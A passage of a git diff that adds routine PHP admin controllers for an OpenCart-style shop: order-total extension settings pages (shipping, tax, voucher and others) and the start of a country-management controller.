+ if (isset($this->request->post['total_handling_sort_order'])) {
+ $data['total_handling_sort_order'] = $this->request->post['total_handling_sort_order'];
+ } else {
+ $data['total_handling_sort_order'] = $this->config->get('total_handling_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/handling', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/handling')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/lightshopsets.php b/public/admin/controller/extension/total/lightshopsets.php
new file mode 100644
index 0000000..2a76906
--- /dev/null
+++ b/public/admin/controller/extension/total/lightshopsets.php
@@ -0,0 +1,86 @@
+load->language('extension/total/lightshopsets');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_lightshopsets', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_sort_order'] = $this->language->get('entry_sort_order');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/lightshopsets', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/lightshopsets', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_lightshopsets_status'])) {
+ $data['total_lightshopsets_status'] = $this->request->post['total_lightshopsets_status'];
+ } else {
+ $data['total_lightshopsets_status'] = $this->config->get('total_lightshopsets_status');
+ }
+
+ if (isset($this->request->post['total_lightshopsets_sort_order'])) {
+ $data['total_lightshopsets_sort_order'] = $this->request->post['total_lightshopsets_sort_order'];
+ } else {
+ $data['total_lightshopsets_sort_order'] = $this->config->get('total_lightshopsets_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/lightshopsets', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/lightshopsets')) { var_dump($this->user->hasPermission('modify', 'extension/total/lightshopsets'));
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+}
diff --git a/public/admin/controller/extension/total/low_order_fee.php b/public/admin/controller/extension/total/low_order_fee.php
new file mode 100644
index 0000000..5defd89
--- /dev/null
+++ b/public/admin/controller/extension/total/low_order_fee.php
@@ -0,0 +1,95 @@
+load->language('extension/total/low_order_fee');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_low_order_fee', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/low_order_fee', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/low_order_fee', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_low_order_fee_total'])) {
+ $data['total_low_order_fee_total'] = $this->request->post['total_low_order_fee_total'];
+ } else {
+ $data['total_low_order_fee_total'] = $this->config->get('total_low_order_fee_total');
+ }
+
+ if (isset($this->request->post['total_low_order_fee_fee'])) {
+ $data['total_low_order_fee_fee'] = $this->request->post['total_low_order_fee_fee'];
+ } else {
+ $data['total_low_order_fee_fee'] = $this->config->get('total_low_order_fee_fee');
+ }
+
+ if (isset($this->request->post['total_low_order_fee_tax_class_id'])) {
+ $data['total_low_order_fee_tax_class_id'] = $this->request->post['total_low_order_fee_tax_class_id'];
+ } else {
+ $data['total_low_order_fee_tax_class_id'] = $this->config->get('total_low_order_fee_tax_class_id');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['total_low_order_fee_status'])) {
+ $data['total_low_order_fee_status'] = $this->request->post['total_low_order_fee_status'];
+ } else {
+ $data['total_low_order_fee_status'] = $this->config->get('total_low_order_fee_status');
+ }
+
+ if (isset($this->request->post['total_low_order_fee_sort_order'])) {
+ $data['total_low_order_fee_sort_order'] = $this->request->post['total_low_order_fee_sort_order'];
+ } else {
+ $data['total_low_order_fee_sort_order'] = $this->config->get('total_low_order_fee_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/low_order_fee', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/low_order_fee')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/reward.php b/public/admin/controller/extension/total/reward.php
new file mode 100644
index 0000000..eac07db
--- /dev/null
+++ b/public/admin/controller/extension/total/reward.php
@@ -0,0 +1,73 @@
+load->language('extension/total/reward');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_reward', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/reward', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/reward', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_reward_status'])) {
+ $data['total_reward_status'] = $this->request->post['total_reward_status'];
+ } else {
+ $data['total_reward_status'] = $this->config->get('total_reward_status');
+ }
+
+ if (isset($this->request->post['total_reward_sort_order'])) {
+ $data['total_reward_sort_order'] = $this->request->post['total_reward_sort_order'];
+ } else {
+ $data['total_reward_sort_order'] = $this->config->get('total_reward_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/reward', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/reward')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/shipping.php b/public/admin/controller/extension/total/shipping.php
new file mode 100644
index 0000000..ef7251d
--- /dev/null
+++ b/public/admin/controller/extension/total/shipping.php
@@ -0,0 +1,79 @@
+load->language('extension/total/shipping');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_shipping', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/shipping', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/shipping', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_shipping_estimator'])) {
+ $data['total_shipping_estimator'] = $this->request->post['total_shipping_estimator'];
+ } else {
+ $data['total_shipping_estimator'] = $this->config->get('total_shipping_estimator');
+ }
+
+ if (isset($this->request->post['total_shipping_status'])) {
+ $data['total_shipping_status'] = $this->request->post['total_shipping_status'];
+ } else {
+ $data['total_shipping_status'] = $this->config->get('total_shipping_status');
+ }
+
+ if (isset($this->request->post['total_shipping_sort_order'])) {
+ $data['total_shipping_sort_order'] = $this->request->post['total_shipping_sort_order'];
+ } else {
+ $data['total_shipping_sort_order'] = $this->config->get('total_shipping_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/shipping', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/shipping')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/sub_total.php b/public/admin/controller/extension/total/sub_total.php
new file mode 100644
index 0000000..e22f696
--- /dev/null
+++ b/public/admin/controller/extension/total/sub_total.php
@@ -0,0 +1,73 @@
+load->language('extension/total/sub_total');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_sub_total', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/sub_total', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/sub_total', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_sub_total_status'])) {
+ $data['total_sub_total_status'] = $this->request->post['total_sub_total_status'];
+ } else {
+ $data['total_sub_total_status'] = $this->config->get('total_sub_total_status');
+ }
+
+ if (isset($this->request->post['total_sub_total_sort_order'])) {
+ $data['total_sub_total_sort_order'] = $this->request->post['total_sub_total_sort_order'];
+ } else {
+ $data['total_sub_total_sort_order'] = $this->config->get('total_sub_total_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/sub_total', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/sub_total')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/total/tax.php b/public/admin/controller/extension/total/tax.php
new file mode 100644
index 0000000..89d3060
--- /dev/null
+++ b/public/admin/controller/extension/total/tax.php
@@ -0,0 +1,73 @@
+load->language('extension/total/tax');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_tax', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/tax', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/tax', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_tax_status'])) {
+ $data['total_tax_status'] = $this->request->post['total_tax_status'];
+ } else {
+ $data['total_tax_status'] = $this->config->get('total_tax_status');
+ }
+
+ if (isset($this->request->post['total_tax_sort_order'])) {
+ $data['total_tax_sort_order'] = $this->request->post['total_tax_sort_order'];
+ } else {
+ $data['total_tax_sort_order'] = $this->config->get('total_tax_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/tax', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/tax')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/total.php b/public/admin/controller/extension/total/total.php
new file mode 100644
index 0000000..3a24787
--- /dev/null
+++ b/public/admin/controller/extension/total/total.php
@@ -0,0 +1,73 @@
+load->language('extension/total/total');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_total', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/total', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/total', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_total_status'])) {
+ $data['total_total_status'] = $this->request->post['total_total_status'];
+ } else {
+ $data['total_total_status'] = $this->config->get('total_total_status');
+ }
+
+ if (isset($this->request->post['total_total_sort_order'])) {
+ $data['total_total_sort_order'] = $this->request->post['total_total_sort_order'];
+ } else {
+ $data['total_total_sort_order'] = $this->config->get('total_total_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/total', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/total')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/voucher.php b/public/admin/controller/extension/total/voucher.php
new file mode 100644
index 0000000..0d7820b
--- /dev/null
+++ b/public/admin/controller/extension/total/voucher.php
@@ -0,0 +1,87 @@
+load->language('extension/total/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_voucher', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/voucher', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/voucher', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_voucher_status'])) {
+ $data['total_voucher_status'] = $this->request->post['total_voucher_status'];
+ } else {
+ $data['total_voucher_status'] = $this->config->get('total_voucher_status');
+ }
+
+ if (isset($this->request->post['total_voucher_sort_order'])) {
+ $data['total_voucher_sort_order'] = $this->request->post['total_voucher_sort_order'];
+ } else {
+ $data['total_voucher_sort_order'] = $this->config->get('total_voucher_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/voucher', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/voucher')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function install() {
+ // Register the event triggers
+ $this->load->model('setting/event');
+
+ $this->model_setting_event->addEvent('voucher', 'catalog/model/checkout/order/addOrderHistory/after', 'extension/total/voucher/send');
+ }
+
+ public function uninstall() {
+ // delete the event triggers
+ $this->load->model('setting/event');
+
+ $this->model_setting_event->deleteEventByCode('voucher');
+ }
+}
diff --git a/public/admin/controller/localisation/country.php b/public/admin/controller/localisation/country.php
new file mode 100644
index 0000000..913cdd7
--- /dev/null
+++ b/public/admin/controller/localisation/country.php
@@ -0,0 +1,438 @@
+load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_country->addCountry($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_country->editCountry($this->request->get['country_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $country_id) {
+ $this->model_localisation_country->deleteCountry($country_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/country/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/country/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['countries'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $country_total = $this->model_localisation_country->getTotalCountries();
+
+ $results = $this->model_localisation_country->getCountries($filter_data);
+
+ foreach ($results as $result) {
+ $data['countries'][] = array(
+ 'country_id' => $result['country_id'],
+ 'name' => $result['name'] . (($result['country_id'] == $this->config->get('config_country_id')) ? $this->language->get('text_default') : null),
+ 'iso_code_2' => $result['iso_code_2'],
+ 'iso_code_3' => $result['iso_code_3'],
+ 'edit' => $this->url->link('localisation/country/edit', 'user_token=' . $this->session->data['user_token'] . '&country_id=' . $result['country_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_iso_code_2'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . '&sort=iso_code_2' . $url, true);
+ $data['sort_iso_code_3'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . '&sort=iso_code_3' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $country_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($country_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($country_total - $this->config->get('config_limit_admin'))) ? $country_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $country_total, ceil($country_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/country_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['country_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
